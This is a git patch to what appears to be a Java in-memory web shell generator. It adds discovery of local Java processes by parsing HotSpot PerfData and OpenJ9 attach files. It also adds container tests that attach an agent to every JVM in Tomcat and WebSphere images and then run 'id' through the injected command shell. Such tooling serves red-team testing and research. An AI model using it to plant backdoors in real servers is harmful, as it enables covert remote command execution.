From 8962c855c9d029d52c1aadcbc797c3c38dde44f1 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Thu, 9 Apr 2026 00:59:25 +0800 Subject: [PATCH] feat: support agent attacher list java processes and attach all --- gradle/libs.versions.toml | 2 +- .../javaweb/integration/ShellAssertion.java | 48 ++ .../tomcat/Tomcat10ContainerTest.java | 7 + .../tomcat/Tomcat11ContainerTest.java | 7 + .../tomcat/Tomcat11JRE21ContainerTest.java | 7 + .../memshell/tomcat/Tomcat5ContainerTest.java | 7 + .../memshell/tomcat/Tomcat6ContainerTest.java | 7 + .../memshell/tomcat/Tomcat7ContainerTest.java | 7 + .../memshell/tomcat/Tomcat8ContainerTest.java | 7 + .../memshell/tomcat/Tomcat9ContainerTest.java | 7 + .../websphere/OpenLiberty18ContainerTest.java | 7 + .../websphere/OpenLiberty20ContainerTest.java | 7 + .../websphere/OpenLiberty22ContainerTest.java | 7 + .../websphere/OpenLiberty25ContainerTest.java | 7 + .../websphere/WebSphere855ContainerTest.java | 7 + .../websphere/WebSphere905ContainerTest.java | 7 + .../websphere7/WebSphere700ContainerTest.java | 7 + .../src/main/java/Attacher.java | 468 ++++++++++++++++++ .../src/main/java/Main.java | 39 +- .../javaweb/packer/jar/attach/Attacher.java | 386 ++++++++++++++- 20 files changed, 1028 insertions(+), 20 deletions(-) diff --git a/gradle/libs.versions.toml b/gradle/libs.versions.toml index 55a5707a..edb76804 100644 --- a/gradle/libs.versions.toml +++ b/gradle/libs.versions.toml @@ -26,7 +26,7 @@ hamcrest = "3.0" junit-jupiter = "5.14.3" # https://mvnrepository.com/artifact/org.junit.jupiter/junit-jupiter junit-pioneer = "2.3.0" junit-platform = "1.14.3" # https://mvnrepository.com/artifact/org.junit.platform/junit-platform-launcher -testcontainers = "2.0.3" # https://mvnrepository.com/artifact/org.testcontainers/testcontainers +testcontainers = "2.0.4" # https://mvnrepository.com/artifact/org.testcontainers/testcontainers [libraries] byte-buddy = { module = "net.bytebuddy:byte-buddy", version.ref = "byte-buddy" } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java index cd4ae2cc..1bb409ad 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java @@ -503,4 +503,52 @@ public class ShellAssertion { containsString("servletNameTestFilter -> ServletNameTestFilter -> Servlet:[b64, biginteger]") )); } + + @SneakyThrows + public static void testListProcessAndAttachAll(String url, ContainerTestConfig config, String shellType, GenericContainer appContainer) { + String shellTool = ShellTool.Command; + Packers packer = Packers.AgentJarWithJREAttacher; + Pair urls = getUrls(url, shellType, shellTool, packer); + String shellUrl = urls.getLeft(); + String urlPattern = urls.getRight(); + + ShellToolConfig shellToolConfig = getShellToolConfig(shellType, shellTool, packer); + MemShellResult generateResult = generate(urlPattern, config.getServer(), config.getServerVersion(), + shellType, shellTool, config.getTargetJdkVersion(), shellToolConfig, packer); + + // Pack and copy to container + byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult.toJarPackerConfig()); + Path tempJar = Files.createTempFile("temp", "jar"); + Files.write(tempJar, bytes); + String jarPath = "/listProcessTest.jar"; + appContainer.copyFileToContainer(MountableFile.forHostPath(tempJar, 0100666), jarPath); + FileUtils.deleteQuietly(tempJar.toFile()); + + // Test 1: List processes (no args) + Container.ExecResult listResult = appContainer.execInContainer("java", "-jar", jarPath); + String listStdout = listResult.getStdout(); + if (listStdout.contains("executable file not found")) { + listResult = appContainer.execInContainer("/opt/IBM/WebSphere/AppServer/java/bin/java", "-jar", jarPath); + listStdout = listResult.getStdout(); + } + log.info("list processes output:\n{}", listStdout); + System.out.println("list stderr: " + listResult.getStderr()); + assertThat("Should find at least one Java process", listStdout.trim(), not(equalTo(""))); + assertThat("Should find Java processes", listStdout, not(containsString("No Java processes found"))); + + // Test 2: Attach all + Container.ExecResult attachResult = appContainer.execInContainer("java", "-jar", jarPath, "all"); + String attachStdout = attachResult.getStdout(); + if (attachStdout.contains("executable file not found")) { + attachResult = appContainer.execInContainer("/opt/IBM/WebSphere/AppServer/java/bin/java", "-jar", jarPath, "all"); + attachStdout = attachResult.getStdout(); + } + log.info("attach all output:\n{}", attachStdout); + System.out.println("attach all stderr: " + attachResult.getStderr()); + assertThat("Attach all should complete with ok", attachStdout, containsString("ok")); + + // Test 3: Verify shell injection was successful + String paramName = ((CommandConfig) shellToolConfig).getParamName(); + commandIsOk(shellUrl, shellType, paramName, "id"); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat10ContainerTest.java index ec3d5e3a..475db6f5 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat10ContainerTest.java @@ -2,10 +2,12 @@ package com.reajason.javaweb.integration.memshell.tomcat; import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.junit.jupiter.Container; @@ -59,4 +61,9 @@ public class Tomcat10ContainerTest extends AbstractContainerTest { protected ContainerTestConfig getConfig() { return CONFIG; } + + @Test + void testListProcessAndAttachAll() { + ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11ContainerTest.java index 9e479a02..53825bc8 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11ContainerTest.java @@ -2,10 +2,12 @@ package com.reajason.javaweb.integration.memshell.tomcat; import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.junit.jupiter.Container; @@ -59,4 +61,9 @@ public class Tomcat11ContainerTest extends AbstractContainerTest { protected ContainerTestConfig getConfig() { return CONFIG; } + + @Test + void testListProcessAndAttachAll() { + ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11JRE21ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11JRE21ContainerTest.java index af36369e..1909dd03 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11JRE21ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11JRE21ContainerTest.java @@ -2,10 +2,12 @@ package com.reajason.javaweb.integration.memshell.tomcat; import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.junit.jupiter.Container; @@ -58,4 +60,9 @@ public class Tomcat11JRE21ContainerTest extends AbstractContainerTest { protected ContainerTestConfig getConfig() { return CONFIG; } + + @Test + void testListProcessAndAttachAll() { + ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat5ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat5ContainerTest.java index e6ff169e..b997ba92 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat5ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat5ContainerTest.java @@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.tomcat; import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.junit.jupiter.Container; @@ -51,4 +53,9 @@ public class Tomcat5ContainerTest extends AbstractContainerTest { protected ContainerTestConfig getConfig() { return CONFIG; } + + @Test + void testListProcessAndAttachAll() { + ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat6ContainerTest.java index 561e9b73..e4cf90e8 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat6ContainerTest.java @@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.tomcat; import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.junit.jupiter.Container; @@ -50,4 +52,9 @@ public class Tomcat6ContainerTest extends AbstractContainerTest { protected ContainerTestConfig getConfig() { return CONFIG; } + + @Test + void testListProcessAndAttachAll() { + ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat7ContainerTest.java index 9492beb7..3ba4badd 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat7ContainerTest.java @@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.tomcat; import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.junit.jupiter.Container; @@ -51,4 +53,9 @@ public class Tomcat7ContainerTest extends AbstractContainerTest { protected ContainerTestConfig getConfig() { return CONFIG; } + + @Test + void testListProcessAndAttachAll() { + ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ContainerTest.java index 0011e0c1..752e1200 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ContainerTest.java @@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.tomcat; import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.junit.jupiter.Container; @@ -53,4 +55,9 @@ public class Tomcat8ContainerTest extends AbstractContainerTest { protected ContainerTestConfig getConfig() { return CONFIG; } + + @Test + void testListProcessAndAttachAll() { + ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat9ContainerTest.java index b8a89521..52288020 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat9ContainerTest.java @@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.tomcat; import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.junit.jupiter.Container; @@ -53,4 +55,9 @@ public class Tomcat9ContainerTest extends AbstractContainerTest { protected ContainerTestConfig getConfig() { return CONFIG; } + + @Test + void testListProcessAndAttachAll() { + ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty18ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty18ContainerTest.java index 181624ae..49c36faa 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty18ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty18ContainerTest.java @@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere; import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -50,4 +52,9 @@ public class OpenLiberty18ContainerTest extends AbstractContainerTest { protected ContainerTestConfig getConfig() { return CONFIG; } + + @Test + void testListProcessAndAttachAll() { + ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty20ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty20ContainerTest.java index 08e70d19..676262df 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty20ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty20ContainerTest.java @@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere; import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -50,4 +52,9 @@ public class OpenLiberty20ContainerTest extends AbstractContainerTest { protected ContainerTestConfig getConfig() { return CONFIG; } + + @Test + void testListProcessAndAttachAll() { + ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty22ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty22ContainerTest.java index 5409cea1..69084eab 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty22ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty22ContainerTest.java @@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere; import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -50,4 +52,9 @@ public class OpenLiberty22ContainerTest extends AbstractContainerTest { protected ContainerTestConfig getConfig() { return CONFIG; } + + @Test + void testListProcessAndAttachAll() { + ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty25ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty25ContainerTest.java index 03076713..02f9a746 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty25ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty25ContainerTest.java @@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere; import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -50,4 +52,9 @@ public class OpenLiberty25ContainerTest extends AbstractContainerTest { protected ContainerTestConfig getConfig() { return CONFIG; } + + @Test + void testListProcessAndAttachAll() { + ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere855ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere855ContainerTest.java index 753d8297..316b10a9 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere855ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere855ContainerTest.java @@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere; import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -50,4 +52,9 @@ public class WebSphere855ContainerTest extends AbstractContainerTest { protected ContainerTestConfig getConfig() { return CONFIG; } + + @Test + void testListProcessAndAttachAll() { + ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere905ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere905ContainerTest.java index 855ec6db..1b8c1b56 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere905ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere905ContainerTest.java @@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere; import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -50,4 +52,9 @@ public class WebSphere905ContainerTest extends AbstractContainerTest { protected ContainerTestConfig getConfig() { return CONFIG; } + + @Test + void testListProcessAndAttachAll() { + ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere7/WebSphere700ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere7/WebSphere700ContainerTest.java index 2dcab4f5..86d4676c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere7/WebSphere700ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere7/WebSphere700ContainerTest.java @@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere7; import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -46,4 +48,9 @@ public class WebSphere700ContainerTest extends AbstractContainerTest { protected ContainerTestConfig getConfig() { return CONFIG; } + + @Test + void testListProcessAndAttachAll() { + ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer()); + } } diff --git a/memshell-agent/memshell-agent-attacher/src/main/java/Attacher.java b/memshell-agent/memshell-agent-attacher/src/main/java/Attacher.java index e9af79c5..e5b02a3f 100644 --- a/memshell-agent/memshell-agent-attacher/src/main/java/Attacher.java +++ b/memshell-agent/memshell-agent-attacher/src/main/java/Attacher.java @@ -15,6 +15,7 @@ */ import java.io.File; +import java.io.FileInputStream; import java.io.IOException; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; @@ -22,13 +23,18 @@ import java.net.MalformedURLException; import java.net.URISyntaxException; import java.net.URL; import java.net.URLClassLoader; +import java.nio.ByteBuffer; +import java.nio.ByteOrder; import java.security.CodeSource; import java.security.PrivilegedAction; import java.security.ProtectionDomain; import java.util.ArrayList; import java.util.Arrays; import java.util.Collections; +import java.util.HashSet; import java.util.List; +import java.util.Properties; +import java.util.Set; /** * Copy from Byte Buddy @@ -91,6 +97,41 @@ public class Attacher { install(processId, argument, new AgentProvider.ForExistingAgent(agentJar)); } + /** + *

+ * Lists all discoverable Java processes on the local host. + * Supports both HotSpot and OpenJ9 JVMs across Windows, macOS, and Linux. + *

+ *

+ * HotSpot processes are discovered by scanning {@code hsperfdata_} directories + * in the system temporary folder and parsing PerfData binary files to extract + * the main class name. OpenJ9 processes are discovered by scanning + * {@code .com_ibm_tools_attach} directories and reading {@code attachInfo} property files. + *

+ *

+ * Note: Only processes accessible to the current user are listed. + * Stale entries from crashed JVMs may appear. Processes started with + * {@code -XX:-UsePerfData} will not be discoverable via HotSpot scanning. + *

+ * + * @return A list of discovered Java process descriptors. + */ + public static List listJavaProcesses() { + List processes = new ArrayList(); + Set seenPids = new HashSet(); + for (JavaProcessDescriptor descriptor : HotSpotProcessDiscovery.discover()) { + if (seenPids.add(descriptor.getPid())) { + processes.add(descriptor); + } + } + for (JavaProcessDescriptor descriptor : OpenJ9ProcessDiscovery.discover()) { + if (seenPids.add(descriptor.getPid())) { + processes.add(descriptor); + } + } + return processes; + } + /** * Installs a Java agent on a target VM. * @@ -928,4 +969,431 @@ public class Attacher { } } } + + /** + * Represents a discovered Java process on the local host. + */ + public static class JavaProcessDescriptor { + + /** + * The process ID. + */ + private final String pid; + + /** + * The main class name or JAR path, may be empty if unknown. + */ + private final String mainClass; + + /** + * The JVM type identifier, e.g. "HotSpot" or "OpenJ9". + */ + private final String vmType; + + /** + * Creates a new Java process descriptor. + * + * @param pid The process ID. + * @param mainClass The main class name or JAR path, may be empty if unknown. + * @param vmType The JVM type, e.g. "HotSpot" or "OpenJ9". + */ + public JavaProcessDescriptor(String pid, String mainClass, String vmType) { + this.pid = pid; + this.mainClass = mainClass; + this.vmType = vmType; + } + + /** + * Returns the process ID. + * + * @return The process ID. + */ + public String getPid() { + return pid; + } + + /** + * Returns the main class name or JAR path. May be empty if unknown. + * + * @return The main class name. + */ + public String getMainClass() { + return mainClass; + } + + /** + * Returns the JVM type identifier. + * + * @return The JVM type, e.g. "HotSpot" or "OpenJ9". + */ + public String getVmType() { + return vmType; + } + + /** + * {@inheritDoc} + */ + @Override + public String toString() { + StringBuilder sb = new StringBuilder(); + sb.append(pid); + if (mainClass.length() > 0) { + sb.append(' ').append(mainClass); + } + sb.append(" (").append(vmType).append(')'); + return sb.toString(); + } + } + + /** + * Discovers running HotSpot JVM processes by scanning {@code hsperfdata_} directories + * in the system temporary folder and parsing PerfData v2 binary files. + */ + private static class HotSpotProcessDiscovery { + + /** + * The PerfData magic number: {@code 0xcafec0c0}. + */ + private static final int PERFDATA_MAGIC = 0xcafec0c0; + + /** + * The directory name prefix for HotSpot PerfData user directories. + */ + private static final String HSPERFDATA_PREFIX = "hsperfdata_"; + + /** + * The PerfData entry name for the Java command line. + */ + private static final String JAVA_COMMAND_KEY = "sun.rt.javaCommand"; + + /** + * The data units value for STRING type entries. + */ + private static final byte UNITS_STRING = 5; + + /** + * Maximum PerfData file size to read (1 MB), as a safety bound. + */ + private static final int MAX_PERFDATA_SIZE = 1024 * 1024; + + /** + * Minimum PerfData file size (v2 prologue is 32 bytes). + */ + private static final int MIN_PERFDATA_SIZE = 32; + + /** + * The size of a PerfData v2 entry header in bytes. + */ + private static final int ENTRY_HEADER_SIZE = 20; + + /** + * Discovers all HotSpot JVM processes visible to the current user. + * + * @return A list of discovered HotSpot Java process descriptors. + */ + static List discover() { + List result = new ArrayList(); + Set seen = new HashSet(); + for (File tmpDir : getTempDirectories()) { + if (!tmpDir.isDirectory()) { + continue; + } + File[] userDirs = tmpDir.listFiles(); + if (userDirs == null) { + continue; + } + for (File userDir : userDirs) { + if (!userDir.isDirectory() || !userDir.getName().startsWith(HSPERFDATA_PREFIX)) { + continue; + } + File[] pidFiles = userDir.listFiles(); + if (pidFiles == null) { + continue; + } + for (File pidFile : pidFiles) { + String fileName = pidFile.getName(); + if (!pidFile.isFile() || !pidFile.canRead() || !isNumeric(fileName)) { + continue; + } + if (!seen.add(fileName)) { + continue; + } + String javaCommand = parsePerfData(pidFile); + result.add(new JavaProcessDescriptor(fileName, extractMainClass(javaCommand), "HotSpot")); + } + } + } + return result; + } + + /** + * Returns the list of temporary directories to scan for HotSpot PerfData files. + * On Windows, uses {@code java.io.tmpdir}. On Linux/macOS, uses {@code /tmp} + * and also {@code java.io.tmpdir} if it differs. + * + * @return A list of temporary directories. + */ + private static List getTempDirectories() { + List dirs = new ArrayList(); + String osName = System.getProperty("os.name", ""); + if (osName.startsWith("Windows")) { + dirs.add(new File(System.getProperty("java.io.tmpdir"))); + } else { + dirs.add(new File("/tmp")); + String javaIoTmpDir = System.getProperty("java.io.tmpdir"); + if (javaIoTmpDir != null && !"/tmp".equals(javaIoTmpDir) && !"/tmp/".equals(javaIoTmpDir)) { + dirs.add(new File(javaIoTmpDir)); + } + } + return dirs; + } + + /** + * Parses a HotSpot PerfData v2 binary file to extract the value of + * {@code sun.rt.javaCommand}. + *

+ * The PerfData v2 binary format consists of a 32-byte prologue followed + * by a sequence of variable-length entries. Each entry contains a name + * and a data value. This method iterates through entries looking for + * the {@code sun.rt.javaCommand} entry. + *

